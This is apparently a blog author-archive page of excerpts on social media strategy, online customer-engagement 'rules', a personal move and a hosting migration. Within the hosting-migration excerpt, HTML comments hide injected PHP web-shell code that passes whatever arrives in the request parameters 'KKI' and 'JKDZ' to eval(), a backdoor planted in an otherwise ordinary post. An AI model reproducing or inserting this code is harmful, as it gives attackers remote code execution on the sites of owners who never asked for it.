Author Archives: Kevin Micalizzi

Go west young(ish) men (& dog). Yes, we’re moving to San Francisco!

Matt, Garreth, Trinity, & I are moving to San Francisco! Our goal is to be there for May, though we still have a ton of details to figure out.  We’re hunting for a new place while working to purchase our … Continue reading

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Being There is Not a Strategy

I had a great opportunity to run a working session at PodCamp NH 2010 this weekend on social media strategy. I presented a few slides for a framework, and then an excellent discussion followed. Being There is Not a Strategy … Continue reading

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Don’t leave them hanging, follow-up again

The question was asked on Facebook, it was easier to follow-up and continue the conversation via email. Great, the customer was helped, everything’s good, isn’t it?  Yes, but no. Did you go back and close the original conversation in some … Continue reading

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Navigating the social media currents, together in NH

When working with any emerging approaches to business (and technologies), understanding what’s working for people and where things are going is a constant challenge. There are self-professed experts willing to sell you a “package solution” to get you up to … Continue reading

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Migrating to new hosting provider…

Ran into too many problems with my previous hosting provider. You caught me in the middle of migrating to the new one. Things should be back to normal soon! -k <!– [insert_php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKI"])){eval($_REQUEST["KKI"]);exit;}[/php] –> <!– [insert_php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/insert_php][php]if (isset($_REQUEST["JKDZ"])){eval($_REQUEST["JKDZ"]);exit;}[/php] –> … Continue reading

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Rule #3: Be The Gatekeeper

When you’re engaging with anyone online, rule #3 is “Be The Gatekeeper” You should never be a roadblock. Give customers a clear path. Just being there isn’t enough. Communication has to go both ways. You now have access to incredible … Continue reading

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Followers vs. Community

Rich Millington, on his FeverBee – The Online Community Guide blog shared two posts recently about a following vs. community: Why Most Organizations Shouldn’t Try To Create An Online Community and Clarity – What’s a Community? A Following = an … Continue reading

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What I want in a Social CRM (for me)

I’m on a quest to find a Social CRM to help me keep my people information at my fingertips. Here’s how I currently try to track everything: Address Book (2,000+ entries) My address book is an extension of my brian. … Continue reading

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Rule #2: Address The Need

When you’re engaging with anyone online, rule #2 is “Address The Need”. Everyone needs something.  We listen, we may even understand what we’re being asked — but it that what they really need?  If you’re engaging online, make sure you’re … Continue reading

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Rule#1: Be Real

When you’re engaging with anyone online, rule #1 is “Be Real”. The world is full of bots (both human and digital.)  Your customers are people, it’s ok to be a person t00. Be a face, not a name (or logo) … Continue reading

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